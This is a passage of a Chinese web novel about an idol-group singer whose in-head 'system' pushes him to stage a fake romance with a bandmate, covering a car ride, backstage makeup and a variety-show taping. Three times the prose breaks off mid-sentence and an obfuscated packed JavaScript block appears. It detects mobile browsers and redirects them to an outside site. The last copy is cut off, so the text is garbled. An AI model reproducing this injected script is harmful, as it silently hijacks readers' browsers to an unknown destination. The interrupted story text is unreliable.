“哦?”纪时珩突然翘了下唇角,眼含戏谑:“梦游的人不是没意识吗,你就那么确定?” 鹤酌雪:…… 失…失策了! “反正不会有人看见!”秉持说不过就逃的原则,鹤酌雪导弹一样窜出了纪时珩的房间。 留下似笑非笑的纪时珩。 他把鹤酌雪扔地上的被子拉了回来,脸埋在其间轻轻嗅了下。 并决定等另外几人回来,勒令他们锁好房门。 不管是不是梦游,鹤酌雪都只能来他屋里。 * 蒋寻进别墅,照例准备上楼喊两个祖宗起床,却看见两人已经整整齐齐坐在餐桌两端,不由得深感欣慰。 刚归团就这样有干劲,他们ECHO的未来真是光辉灿烂啊。 完全没发现这两人之间氛围有点怪,比如……鹤酌雪好像有点躲着纪时珩的意思。 系统在脑中恨铁不成钢:【宿主,你如果不想再刷新到纪时珩的床上就应该努力和他卖腐,而不是把他当空气。】 鹤酌雪抿了口小米粥:“卖腐是什么?” 他还没来得及查呢。 【?】系统被问蒙了,他还真没想到有男团成员不知道卖腐的含义:【卖腐就是炒男男cp,让别人以为你和你的队友在谈恋爱。】 “啊?可是蒋寻之前和我说,偶像是不能谈恋爱的。”鹤酌雪认真道。 系统:【谁让你真和他谈了?你只要在外人面前表现得和他亲密一点,粉丝就会自动觉得你们之间有见不得光的事!】 鹤酌雪明白了,卖腐就是玩弄粉丝的感情。 ……果然是坏事。 可是他现在好像不得不当坏人了。 鹤酌雪有些愧疚,连早餐也吃不下:“那我达成成就后,是不是就可以不用卖腐了?” 系统给他画饼:【对,到时候你直接和队友切割都没事!但是粉丝可能会心碎吧。】 好像听上去更糟糕了。 系统看他整个人都没精打采像焉了的小苗,也说不出什么重话,只好哄着他:【你可以先不用想那么远,先把纪时珩的卖腐值提上来,明天不刷到他床上就可以了吧。】 鹤酌雪想起早上纪时珩对他的态度:忽略纪时珩脑子不清醒时莫名其妙抱他这点,衣服直接往他身上扔,连看都不愿意看他,显然是厌恶加不耐烦的。 “嗯,他讨厌我,我不能让他更讨厌了,不然ECHO就要解散了。” 鹤酌雪希望,如果是为了ECHO不解散而卖腐的话,大家不要特别怪他。 “我要和纪时珩卖腐。”鹤酌雪下定决心。 纪时珩坐着吃饭,突然觉得脊背发凉,扭头对上蒋寻欣慰的目光,鸡皮疙瘩登时掉了一地,就没细想。 4. 哥哥哥哥 蒋寻今天要回公司开会,不能陪他们俩去上综艺,临走前他把纪时珩叫到旁边叮嘱,惯例是让他不许给嘉宾甩脸色不许耍大牌不许口出狂言。 纪时珩听了一耳朵“不许”,脑仁生疼也就没什么好表情,冷漠道:“你怎么不叮嘱鹤酌雪,他哪次上综艺不像根木头似的?” 蒋寻冲他翻白眼:“小雪站那不说话都讨喜,你站那像全场倒欠你五百万,能一样?” 讨喜?纪时珩嗤笑。 确实讨喜,站那就叫人忍不住眼珠子往他身上黏,每次节目播出热搜固定刷新相关词条: #可你看他的眼神并不清白# 要不是鹤酌雪唯粉妈粉战斗力强,他凭脸就要被拉郎出八百对cp。 不过和他组cp也够惨的,天天被他那群疯狗粉丝追着咬,过得连下水道老鼠都不如。 至于为什么纪时珩知道那么清楚? 哦,因为他还有个小号,是“他x鹤酌雪”CP超话的小主持人。 要不是做了别的加密措施,他大头照可能已经在唱《叮咚鸡》了。 * 鹤酌雪刚上车时,脑袋里的系统突然“叮”了一声,然后是呆板的电子音: 【今日主线:将纪时珩卖腐值提升到50;失败会有惩罚,请宿主认真对待任务。】 50吗……鹤酌雪记得现在卖腐值最高的楼弛也才50。 一天就让纪时珩从倒一变正一,也太为难人了吧! 鹤酌雪小声抗议。 系统:【任务是由世界助手颁布的,在下无能为力。】 “世界助手又是什么,另一个系统吗?”鹤酌雪有点好奇。 系统解释:【世界助手是程序,绑定在我的源代码下,辅助规划整个任务进程,有很高的优先级。】 “好吧,”鹤酌雪撇撇嘴,又问:“那惩罚是什么?” 【不确定,这是根据每个宿主不同情况定制的,听说有电击什么的。】 “……我一定好好完成任务QAQ。”好恐怖。 然后鹤酌雪就开始在浏览器上搜索[卖腐教程]。 竟然还真有这个东西! 《卖腐教程》第一条:更亲密的称呼可以展现出你与他之间不同凡响的关系哦,试试叫他“哥哥”吧! 第二条……鹤酌雪还没看到,纪时珩就进来了。 他抿抿唇又往车里面缩了点,病气刚散的脸还苍白着,可怜兮兮。 跟纪时珩欺负他一样。 纪时珩面无表情想,早上往他怀里钻时那么殷勤,现在躲什么躲? 故意在座位正中间坐下,挤着鹤酌雪。 鹤酌雪被他duang大一只挤得差点坐到车窗玻璃上,迫不得已把手机盖在胸前,扭头瞪他。 他是那种猫系的长相,脸短显得幼稚,眼睛本身就大,做这个表情就要挤压下半张脸的空间——嘴唇因此嘟起一个弧度,唇珠可爱诱人。 不凶,一股娇嗔意味。 纪时珩看得心痒痒,又注意到他刚刚特意把手机盖起来,像是生怕别人偷窥,就逗他:“你手机给我看看。” 鹤酌雪怎么可能给他看,高贵冷艳道:“你离我远一点,压到我了。” “我偏不。”纪时珩恶劣地笑,左耳耳钉光芒锐利。 “……” 鹤酌雪突然闭上眼睛不吭气了,乌黑浓密的睫毛像蝴蝶扑朔的翅膀,暴露他此刻纠结的内心——然后他好像终于做出了决定,软着声音,语调颤颤:“时珩哥哥,离我远一点。” 鹤酌雪有副被粉丝夸“天使吻过”的好嗓子,这也是他做ECHO主唱的资本。 聚光灯下,万众瞩目的顶流主唱,现在对他喊“哥哥”,还是一副被欺负到没辙的模样。 纪时珩如遭雷击,大脑瞬间空白只有耳朵里回响着这两个字,像一座永不停息的秋千从左耳荡到右耳又荡回去。 然后“啪”一声,他的神智从秋千上掉下来,终于惊醒,脸上毛细血管迅速充血涨红,人也像弹簧似的从中间弹到远离鹤酌雪的一侧。 鹤酌雪呼吸到新鲜空气,忍不住高兴起来:原来一句哥哥就可以吓到纪时珩,哥哥真好用。 他又用那腻到能滴出蜜来的腔调摇头晃脑乱喊“哥哥哥哥哥哥”,然后自己得意地笑了。 纪时珩:…… 谁家小鸽子? 不对,谁教鹤酌雪这样乱喊的? 纪时珩黑着脸,伸手想把尾巴翘上天的鹤酌雪拎过来质问,但是被躲开了。 鹤酌雪警惕看着他,几乎能幻视到他身后绷紧的尾巴和头上雪白的飞机耳:“时珩哥哥,你要干什么。” “……别乱叫。”纪时珩把火气压下去,俊脸阴沉:“到底谁让你这样喊人的?” 鹤酌雪有点怵他这幅模样,思考片刻果断甩锅:“蒋寻让我和大家拉进关系。”对不住了蒋哥。 “他让你干什么你就干什么?”听到这话,纪时珩暴躁起来。 他想起一些刚入团时的事。 本来鹤酌雪是轮不到进团的,他还太小,才17岁。 公司最早定下的只是个四人男团,但是他们四个聚在一起诡异地犯冲,看上去不仅毫无团魂甚至每个人都带刺想扎死对方。 因此公司觉得还是要找个调剂者,筛选了很多练习生都不满意,最后把注意打到蒋寻一直藏着掖着的鹤酌雪头上。 鹤酌雪原定计划是单人出道,他这幅样貌不需要男团加持也能爆火。 但是公司给蒋寻施压,让他和鹤酌雪说一下提前出道的事。 鹤酌雪竟然直接同意了。 还那么小,没成年就被迫站到聚光灯下,接受陌生人的审视,判断那副清瘦的少年身体是否受得住盛大澎湃的爱与恨。 可怜得要命。 其实从来不是鹤酌雪皇族空降ECHO,而是ECHO需要鹤酌雪。 从回忆中抽离,纪时珩盯着那张漂亮过分的脸,向来澄澈的眸子此刻盛着惴惴不安,惊惶模样能勾出所有人类的怜悯……或者恶意。 他不耐烦道:“反正以后不要全听他的话,你真当蒋寻是什么好人吗?” 鹤酌雪慢吞吞:“好哦。” “也不许随便喊别人哥哥。” 鹤酌雪垂眸点头,手机突然震了下,他翻开一看——是谢辞慎的微信消息。 谢辞慎:[你衣服落在我家了,帮你带过去。] 鹤酌雪眨了眨眼睛,才想起来他进剧组前两天是在谢辞慎家住的。 因为非常巧合地,谢辞慎认识鹤酌雪在世界上唯一的亲人,受他之托来照顾鹤酌雪。 鹤酌雪本身想拒绝的,但是谢辞慎会用他零下二十度的脸向他展示录音笔。 【小雪,哥哥把你交给姓谢的了,他可以信任,有让你不爽的地方记得用本子记下来,我回来就收拾他——哥哥爱你。】 “每个月至少两天,和我住一起,我也要交差。”谢辞慎傲慢地替鹤酌雪做了决定,鹤酌雪也不想让哥哥为难,就这样定下来了。 鹤酌雪:[什么衣服啊?] 他打字问道,等了一会儿谢辞慎还是没回他。 倒是纪时珩忍不住了凑过来想看,被鹤酌雪板着脸推远了。 纪时珩有些忿忿,张扬的眉眼耷拉下来:“你等谁消息那么殷勤?” 他给鹤酌雪发的微博私信到现在鹤酌雪还没回! 鹤酌雪淡淡道:“谢辞慎的,他说我衣服落在他家了。” 纪时珩:? 下一秒他倾身伏下,单手撑在鹤酌雪脸侧玻璃上,以身体为笼罩住他整个人。 鹤酌雪惊讶于他突如其来的袭击,睫毛生理性颤抖着,又下意识抿了嘴唇。这是他紧张或者害怕时才有的表情。 鹤酌雪抄起手边的毛毯,挡在了他和纪时珩中间,仿佛一种无用的抵抗。 纪时珩气笑了,这毛毯还是他放车上的。 ……鹤酌雪凭什么害怕我? 他知道鹤酌雪有时会去谢辞慎家借住,却是第一次清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944654|192986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晰认识到这样的行为是多亲密。 愤怒和嫉妒灼烧着纪时珩的理智,他从那双乌黑的眼睛里看见自己扭曲到歇斯底里的脸,不再像男团偶像,而是盘踞珍宝之上不停喷火宣示主权的恶龙。 他嘴角扯了扯,压着声音宣布:“我允许你喊我哥哥了。” 系统:【纪时珩卖腐值提升至20】 “啊?”鹤酌雪没想到卖腐值能提升的那么快,黑曜石似的明亮眼底划过些错愕,还有难掩饰的惊喜,像被小鱼干吊着往前走,却发现前面路上有一堆小鱼干的猫。 他扯了扯纪时珩的领口,没注意到纪时珩突然上下滚动了下的喉结,喜滋滋道:“好哦时珩哥哥。” 如果喊哥哥就可以提升卖腐值让他明天不刷新在纪时珩床上,他喊一整天都没问题! 纪时珩被他一声“哥哥”叫得半点脾气都没了,心下决定晚上一定要让鹤酌雪当着谢辞慎的面喊哥哥。 气死那个陪睡奴才。 鹤酌雪在心里问系统:“卖腐值到底是什么判定方法啊,不是只有让粉丝看见才算卖腐吗,为什么在车上也能涨?” 系统:【一共有两个判定,根据卖腐对象瞬间的心理波动和粉丝反馈。】 鹤酌雪若有所思地点点头。 系统也不知道他到底能思什么,就他那种完全不在意自己屁股死活的喊哥哥方法……呵。 * 《快乐加油站》是一档国民级的老牌综艺,热度高死忠粉多口碑好,很多电视剧电影的宣传都会选择它。 鹤酌雪今天的妆造和他剧里的妆造差不多,古装,要戴假发,相对比较耗时间。这也是综艺下午录制,他们却吃完早饭就来的原因。 两人都不是第一次上这档综艺,尤其是鹤酌雪。 他那张脸基本什么妆造都撑得住,很容易出神图,谁给他化妆都会被夸,他本人脾气又好,往哪一坐就是个任人折腾的bjd娃娃。 因此很受化妆师姐姐的喜欢,刚到后台就被围住:“小雪,今天我来给你化妆。”“小雪小雪,你喜欢那套青色的还是白色的?” 同他一起进来的纪时珩反而被挤了出去,黑着脸跟助手去了另一个化妆间。 鹤酌雪被押送到椅子旁,他实在嘴笨,大家都叽叽喳喳围着就更不会说话了,无措地一直点头,乖到惹人怜爱。 所以大家也不再为难他,开始给他上妆。 化妆间门又被推开了。 进来的是剧里和鹤酌雪有超长对手戏的一个演员张靖,鹤酌雪补拍的戏份基本都是和他一起。 理论上两人应该比较熟,但是系统却检测鹤酌雪的情绪突然郁闷起来。 【怎么了,他欺负过你?】 鹤酌雪点头又摇头:“我昨天生病…是因为他。杀青戏是在雪景拍的,他NG了好多次,我就一直反复躺进雪里。” 顿了下,他又犹豫道:“但他也不是故意的吧,可能只是单纯菜。” 系统一成不变的电子音竟然有些嘲讽:【是故意菜的吧。】 张靖一看见鹤酌雪,眼睛就亮了,他轻咳想让鹤酌雪注意到自己的存在。 但是整个化妆间都没人在意他。 所以他只能尴尬地自己凑过去,看着鹤酌雪被化妆灯照的越发雪白细腻的脸,不自禁咽了咽口水:“小雪啊,回去生病了吗?” 鹤酌雪正在画眼线,他眼睛敏感,即使化妆师很小心,每次也都要流很多眼泪出来,眼尾红得像被揉碎的桃花,脆弱掺着难喻风情。 他不想过多和张靖纠缠,就小声吐了个字:“没。” 没想到张靖竟然来劲了,高高在上说教起来:“我就说嘛,哪有那么娇气,雪里躺两回就生病了,我们这种老演员以前什么苦没吃过,你们这些偶像也该更坚强点,是吧。” 鹤酌雪:…… 拳头硬了。 他开口想说话,化妆师正好用纸巾帮他擦眼泪,就听见门口传来极具辨识度的凉薄声音:“一会没见,你怎么被欺负哭了?” 5. 磕吧,老己 鹤酌雪妆造复杂,所以是假发和化妆一起进行。 纪时珩进来时他已经戴好了假发,循声回头,长及腰间的乌发似云雾似海草,随动作晃荡,露出姣若明月的美人面。一双含情眼,眸光楚楚,眼尾是经摩擦才会显现的那种,鲜嫩的红。 绝艳谁怜,天然殊胜。 鹤酌雪是有耳洞的,小巧珍珠似的耳垂上钉着枚白玉耳珰,光泽温润,在发丝间若隐若现,令人忍不住想要靠近,探究……或者凭着这样的借口,顺势吻上那双此刻因讶异不自觉微张,隐约可见嫩红舌尖的唇。 无辜的,可怜的,放荡的,纯情的。 纪时珩脑中瞬间划过无数他经常用来形容鹤酌雪的词,最后目光还是定格在他缀着泪珠的眼尾,哑声道:“他怎么你了?” “你才哭了呢,”鹤酌雪只是蹙眉,颇不服气地反驳纪时珩的定论,“我只是和眼线笔不太熟。” 纪时珩凉凉道:“那你继续对着它哭,看它什么时候心软愿意跟你熟。” 鹤酌雪:…… 这人嘴巴好讨厌。 张靖眼见着自己要被完全忽略,忍不住跳出来彰显存在感:“也就你们偶像,上个综艺还要化妆,像我们这种老演员都更乐意用真实面貌呈现给观众哈哈哈哈。” “是,”纪时珩少爷脾气最烦这种说教:“我刚刚听见化妆师到处问有没有更深色号的粉底液,你确实比较难化。” 张靖被他噎得黑脸也一阵青一阵白。 但他不敢怼回去,因为稍微打听下就知道纪时珩背后的人不是他能惹得起的。 不像鹤酌雪。 张靖敢对鹤酌雪动心思也有这个原因,那么漂亮一张脸,还有通身的气质,怎么都像大家族钟鼎玉食捧在手心娇养出来的少爷。 可他动用各个层面的关系,最后打听出来的竟然是——鹤酌雪是个孤儿,一直跟着福利院里的一个哥哥生活。 那个所谓哥哥现在还下落不明。 鹤酌雪的身世被耀星瞒得很死,反而佐证张靖所得消息的真实性。 美貌单出一定是死局,耀星在保护鹤酌雪。 张靖得知这个信息时差点高兴到笑出声来,但他在拍戏时对鹤酌雪百般暗示,鹤酌雪就像块木头: 问他:“要不要一起吃饭?” 鹤酌雪就惊讶:“导演早上还建议您轻断食。” 问他:“今天拍戏感觉怎么样?” 鹤酌雪就点头:“前辈不要沮丧,您比昨天有进步。” …… 所以最后杀青戏,他决定给鹤酌雪一些惩罚。 可看着这人每次从雪地里起身,小脸苍白透明到摇摇欲坠,他也后悔了。 今天才纡尊降贵想着哄哄小朋友,结果又碰了一鼻子灰。 张靖面子上挂不住:“我只是想教教小雪,毕竟演戏我还是专业点……” “呀,我怎么听见有人在我面前说他演戏专业?” 化妆间的门第三次被打开,来人一身红衣,长发束成高马尾,意气风发。 然而比这身装扮更引人注目的还是脸,娱乐圈应该没人不认识——炙手可热的新晋影帝印谌。 也是这部电视剧的男主,鹤酌雪饰演角色的兄长。 剧情中兄弟俩直到弟弟去世也没见面,根本不存在对手戏,所以这也是鹤酌雪第一次见到这位听说脾气非常不好的影帝。 和传言中……非常不像。 印谌十分自来熟地就走到了鹤酌雪的身边,随手撩起他的长发啧啧赞叹起来,甚至还得寸进尺上手去捏鹤酌雪的脸。 捏完一下还要捏第二下,鹤酌雪开始没反应过来,后面也来不及推拒了。 直到纪时珩动手把印谌拽走,低气压开口:“初次见面便动手动脚,这就是影帝的教养吗?” 结果被印谌毫不留情地甩开:“我捏捏我弟弟,关你什么事?” 他刻薄又挑剔地上下扫视了一眼纪时珩,皱眉开口:“你是谁?” 纪时珩气笑了,他才是鹤酌雪的正牌队友,现在竟然被一个莫名其妙的人质问了。 刚准备回答,印谌就不感兴趣地转向鹤酌雪那边,微微俯身赞叹:“弟弟你真好看。” 鹤酌雪被他又捏又夸,现在脑袋也晕乎乎,机械性回答:“谢谢前辈。” 印谌却露出不可思议,极为受伤的表情:“你叫我什么!” “你为什么不叫我哥哥,你不是我弟弟吗?” 鹤酌雪:……啊? 我们,不是,第一次见面吗? “抱歉抱歉,给你们添麻烦了!”印谌经纪人姗姗来迟,给周围人使了个眼色。 化妆间里都是人精,加上影帝经纪人的面子还是要给的,很有礼貌先出去了。 张靖两次装逼都被打脸,更是巴不得找个地缝钻进去,求之不得。 等化妆间就剩他们四个人,经纪人才快步走到心碎的印谌和懵逼的鹤酌雪身边,忙不迭道歉,“那个,印谌他有点职业病,就是出戏很慢。” 他擦了下额头的汗,解释道:“本来上个月杀青后,他已经快出戏了,还和我吐槽说幸亏原先演他弟弟那位长得额……有助于他快点脱离环境,但是,”他停顿了一下,咬牙继续往下说:“昨天他来兴趣,看了鹤先生的原片。” “就莫名其妙又入戏了,还说鹤先生就是他失散多年的可怜弟弟,今天一定要找鹤先生认亲。” 经纪人扶额看着还在玩鹤酌雪头发的影帝:“总之,如果可以的话还请鹤先生帮帮忙,先陪他演一下,突然出戏可能会对他的精神造成比较大的影响。” 鹤酌雪还没开口,纪时珩就先替他回绝了,剑眉压低满脸不耐烦:“凭什么配合你们?” 经纪人早先听说ECHO内部关系不好,所以他向鹤酌雪寻求帮助时直接忽略了旁边纪时珩的存在。 没想到这人竟然主动插手,一时也有些卡住,思索后说:“我这边有些资源,如果鹤先生需要,我稍后和蒋经纪人对接一下。” “鹤先生也不需要做很多事,只需要像刚刚印谌要求那样,喊他‘哥哥’就好了。” 这显然是一个无法让人拒绝的交易。 甚至本身配合剧组宣传,鹤酌雪喊印谌“哥哥”也是可以接受的。 纪时珩却十分笃定地开口:“他不会同意的,他刚刚在车上答应我……” “好哦。”鹤酌雪刚刚一直在试图从印谌手中解救自己的头发,尝试多次均以失败告终,干脆摆烂。 印谌又想捏他脸,他索性把下巴一抬送进他掌心,长而卷翘的眼睫微垂,整脸还没手掌大,神似只餍足慵懒的波斯猫,轻声打断了纪时珩的话:“我会帮忙的。” 纪时珩愣住,扭头看向他后整张脸冷了下来:“鹤酌雪,你忘记你答应我什么了吗?” 鹤酌雪只是疑惑地“嗯”了声,既轻且细,配上他现在的动作更像被抚慰舒服后下意识的哼唧。 但他眼神纯净,浮着浅浅的疑惑,显然是在认真思索,过了会才笃定说:“你只说不能随便喊人哥哥吧,我没有随便。” 纪时珩咬牙切齿,眼前一阵阵发黑:“那你到底要对多少人不随便?” 鹤酌雪就把脸从印谌掌心抬起,挨个报数:“你,蒋哥,还有团里其他人,还有印影帝。” 他数完还点着头严谨补充:“暂时先这些。” 【叫哥哥】那么好用的提升卖腐值方法,当然要多用几次啦! 纪时珩被他气到说不出话来,扭头摔门而去。 印谌经纪人不敢细想刚刚的对话,在心底默念几次“贵团真乱”后,就冲鹤酌雪感激地笑,顺手拉住印谌:“多谢鹤先生帮忙,印谌妆还没化完,我们就先不打扰了。” 然后带着印谌离开。 化妆间只剩鹤酌雪……或许还有一个待在他脑袋里的系统。 短暂寂静后,系统先开口:【你真要像刚刚说的那样做吗?】 鹤酌雪面对化妆镜,单手托腮盯着镜子里的人,撒娇似的抱怨:“我好不容易找到叫哥哥那么好用的方法诶……有什么问题吗?” 系统:【……没问题。】 但是纪时珩看上去好像要出点大问题了。 而且您“好不容易”在哪里,不是随便上网搜的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944655|192986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卖腐教程吗! 你真的很爱你自己诶。 * 综艺录制开始,随舞台灯光亮起,嘉宾挨个登场。 印谌出场时掀起一阵声浪:“大家好,我是《刑光》中裴豫的扮演者,印谌。” 鹤酌雪和纪时珩并排登场。 唇红齿白的少年尚未束发,一身青衣,黑眸清湛:“大家好,我是ECHO的成员鹤酌雪,在《刑光》中饰演的是裴豫的弟弟,裴韶。” “我是ECHO的成员,纪时珩,ECHO承担了《刑光》的主题曲演唱和音乐监制,感谢支持。” 欢呼声瞬间激烈到几乎要掀翻整个演播厅。 不仅因为两人都是炙手可热的顶流,更因为他们以ECHO的名义合体上节目,几乎就是证实了网上愈演愈烈的,有关“ECHO即将回归”的传闻。 但是很快观众就又怀疑起来。 《快乐加油站》流程很简单,无非就是做做游戏,插科打诨顺便宣传一下新剧,为了更真实,甚至没有台本。 他们登场时妆造是古装,做游戏时又换成便装,鹤酌雪一身学院风休闲服,下装是短裤,长度只到大腿中部,露出白瘦纤细两条长腿,线条轻盈美好,吊带小腿袜恰好勒着小腿肚肉最多的地方,放松时会陷下去一些弧度。 他古装登场时观众的反应,基本就可以确定这次妆造又要上热搜了。 现在看,应该可以占两个词条。 鹤酌雪往常上综艺,都只需要负责站桩就行,反正他仅是站在那便能轻易攫取几乎所有人的目光,不用担心出镜率。 他不是综艺感很强的人,话少,反应又有些慢,经常被cue到时还要眨两下眼,才能给出回应。 刚出道时有人质疑他是在走神,消极怠工。 后来多方面证实,他只是单纯反射弧长。 也就任由他在旁边当木头美人了。 不同的是这次陪他站桩的还多了一个——纪时珩。 这位酷哥本来就话少,现在更跟死了爹似的臭脸,主持人连cue都不敢cue。 两人做游戏也是同队,但是除了登场短暂并肩,现在一个站舞台左一个站舞台右。 别说不熟了,仇人都没离那么远的。 以至于叫人琢磨不透:ECHO真要回归了吗,我怎么觉得他们巴不得老死不相往来? 印谌倒是就站在鹤酌雪旁边,本身拍电影的人其实会不太愿意上综艺,可他今天格外活跃,甚至主动接话茬:“拍戏过程中最幸运的事是什么?应该是认识了一个人吧。” “还能是谁?”他挑眉,慵懒又得意:“当然是我最重要最乖最贴心的弟弟裴韶——鹤酌雪。” 鹤酌雪突然被cue到,还有些茫然,第一反应是想起印谌经纪人的叮嘱,下意识出声:“哥哥。” 确实乖,黑发柔软,抬头瞬间灯光落进眼底碎成星芒,展示着少年人毫不掩饰的依赖。 谁被这样注视都会忍不住心软,把他捧上天要星星不给月亮吧。 ——何况在《刑光》原著里,裴豫和裴韶本就是热度断层的一对兄弟骨科CP。 台下的CP粉激动到互摇对方的手肘。 其实小说影视化本身是让原著粉比较难以接受的事,但是无奈这个选角,太豪华了! 一位是新晋影帝,一位是顶级男团门面担当。 这谁能忍住不尝尝咸淡! 磕!他们磕了还不行吗! 只有少数几人,被皇粮砸头激动到眼珠子乱晃,瞥见了十万八千里远的纪时珩。 然后如冷水泼头瞬间冷静,还戳了戳身边的朋友,犹疑道:“我怎么感觉……纪时珩的表情那么像要杀人呢?” 朋友顺着她手指的方向看过去,迅速给出反馈:“没错。” “而且还是那种无能丈夫撞见老婆和小三现场所以准备拿把榔头爆头奸夫再把瑟瑟发抖的老婆卷进床单抱回家关起来的表情。” 嘴比脑子快分析完后,朋友也一脸空白:“卧槽我在说什么!” “鹤酌雪和纪时珩不是死对头吗,老己这你也要磕吗?” 6. 你比划我猜 除了少数观众,站在纪时珩身旁的张靖能最直接感受这人周身瞬间的低气压,小心翼翼瞥了眼——我去好凶。 他顺着纪时珩目光看过去,还以为那吃人似的眼睛是在盯鹤酌雪,自己心里有了计量。 已知ECHO团内关系僵硬,鹤酌雪和纪时珩又是众所周知的冤家。那现在鹤酌雪和影帝打好了关系,纪时珩不爽也是正常的。 他有意巴结这位背景不一般的大少爷,假笑着说:“虽然小雪在剧组没和印谌搭戏,但是俩人今天也算一见如故啊。” 暗示说现在两人之间的兄弟情都是硬炒出来的,印谌并不一定有多待见鹤酌雪。 却没想到他话刚出,不仅印谌脸垮了下来,连纪时珩都偏头轻飘飘扫了他一眼。 那一眼像在看什么不入流的垃圾蠢货。 张靖瞬间噤声,在心里暗骂这人脾气比他爹的皇帝都难揣测。 “有的人见到第一面就喜欢,有的人再怎么往脸上凑都叫人生厌,不是吗?” 印谌冷哼一声,抬手揽住鹤酌雪。 宽大袖袍罩住少年清瘦的肩,落下瞬间他微微歪头,颊侧黑发垂落,雪肤红绸,姝色艳极。 偏偏他还一副没反应过来的懵懂模样,所以这样具攻击性的美貌也叫人心生爱怜,只想哄着疼着。 虽然印谌的话攻击性极强甚至称得上不礼貌,但是台下观众包括主持人竟然一时都没有异议。 尤其看见印谌顺手在鹤酌雪脸上捏了下,把人捏得微蹙眉,半抱怨半撒娇地扯他袖子时。 羡慕嫉妒先于其他所有念头涌上心头。 ……靠,他们也好想捏漂亮弟弟的脸! “其实是因为印前辈很喜欢裴豫这个角色,所以对我爱屋及乌。”鹤酌雪躲开了印谌的二次袭击,斟酌着打了圆场:“印前辈也一直是我很钦佩的演员,希望以后可以有更多合作的机会。” 鹤酌雪刚入圈时嘴很笨,在很多场合都只能当个小哑巴。蒋寻为此发愁,专门给他编了套场面话教程——他有段时间睡觉前都在背官话。 说起来也就一套一套,甚至因为太板正,有点像个人机。 蒋寻又只好紧急矫正,让他没事少往外咕噜咕噜背书,容易被黑子拿来做文章。 鹤酌雪就继续快乐地当哑巴了,只有需要时才触动底层代码变成小人机。 比如刚刚那种紧急情况。 印谌因为他的话脸色好了不少:“我也期待和小雪的下次合作。” 场面算是缓和了下来。 除了一脸尴尬的张靖和脸黑到能滴出水的纪时珩。 主持人也打哈哈,内心感谢鹤酌雪,因为剧组本身宣传也要求强调裴氏兄弟之间的感情,所以他干脆尽量多cue这两人,镜头管饱。 印谌更是没事就“弟弟弟弟”地乱喊,黏着鹤酌雪。 鹤酌雪被他带偏也连着喊了好几声“哥哥”。 台下观众要被填鸭式喂糖撑吐了。 只有莫名其妙磕上宿敌cp的那位朋友缩在座椅上泪流满面,觑着纪时珩的脸色怀疑印影帝今天不能竖着离开演播厅。 鹤酌雪跳高成功过杆,印谌拥抱,下一个跳高的纪时珩就脚滑把杆踹出去八丈远; 鹤酌雪玩你画我猜,歪歪扭扭画出个奇形怪状的玩意结果印谌秒猜,纪时珩就用圆珠笔把白纸猛戳几个洞扔给张靖让他抓耳挠腮。 鹤酌雪……哦,这次纪时珩和他分到了一组。 游戏是你画我猜的进阶版,你说我猜。 因为全场重心之前都放在鹤酌雪和印谌两人身上,这次换成纪时珩,很多人才发现这酷哥逼王好像心情一般般。 平时就拽得像所有人欠他五百万,今天更是谁多看他一眼银行账户都要清零。 眉眼间戾气重得像路过狗都要被咬一口。 观众席上传来窃窃私语声,都在猜他应该是因为被迫和死对头营业所以不爽。 也不由自主为鹤酌雪捏一把汗。 但是他们没想到,真正应该捏汗的是纪时珩。 抽到的第一个题目是台球桌。 鹤酌雪说:“绿色的毛茸茸的,从树上掉下来会砸死人。” 纪时珩盯着他的嘴巴不耐烦道:“毛毛虫?” 鹤酌雪急得摇头:“不是的,比毛毛虫大,你认真听我说呀!” 纪时珩:“……” 观众:“……?” 宝宝,这跟认不认真听你说没关系吧? 第二个题目是砖头。 鹤酌雪苦思冥想:“这个东西是红色的,放进嘴里有点硌牙。” 纪时珩一头雾水:“草莓棒棒糖?” 回答错误。 观众:到底谁会把砖头放嘴里啊! 第三个题目是脊柱。 鹤酌雪十分自信:“白白的,抽了对身体不好。” 纪时珩双目无神:“香烟吗?” 回答错误。 观众:好恐怖的描述小雪你平时到底在看什么! …… 刚出道时关注过ECHO的人都知道,鹤酌雪有个缺点是不善言辞。 但是他们从没想过是这种不善言辞。 时间一分一秒过去,两人战绩为零。 而观众对他们的游戏过程已经从莫名其妙到叹为观止再到兴致勃勃。 只想知道鹤酌雪还能想出多抽象的描述方式。 很快到了最后一题,主持人解开提词板露出白纸黑字两个大字—— 而他们只剩几秒钟。 纪时珩已经放弃了,看着鹤酌雪为战绩气馁又羞耻的表情,反而觉得好玩,内心一些恶劣心思也得到了满足。 他决定不论鹤酌雪这次怎么描述,他都一定往远处扯,气死这个说话不算算话没心没肺到处认哥哥的花心鬼。 他看着鹤酌雪抬头,眼神扫过题词板时似乎有片刻的停顿,然后义无反顾地将目光落在他身上。 那张他见过无数次的漂亮脸蛋因为游戏盈了层薄汗,在舞台灯下反而亮晶晶,美得惊心动魄,恣意张扬。 纪时珩听见鹤酌雪说,急促的肯定的,三个字——“纪时珩。” 描述是什么?是纪时珩。 “纪时珩”能代表什么? 他盯着那张此刻因为紧张和期待而抿住的唇,计划什么的让它去死吧,遵从心念答案便只有那个:“哥哥。” 答案是【哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 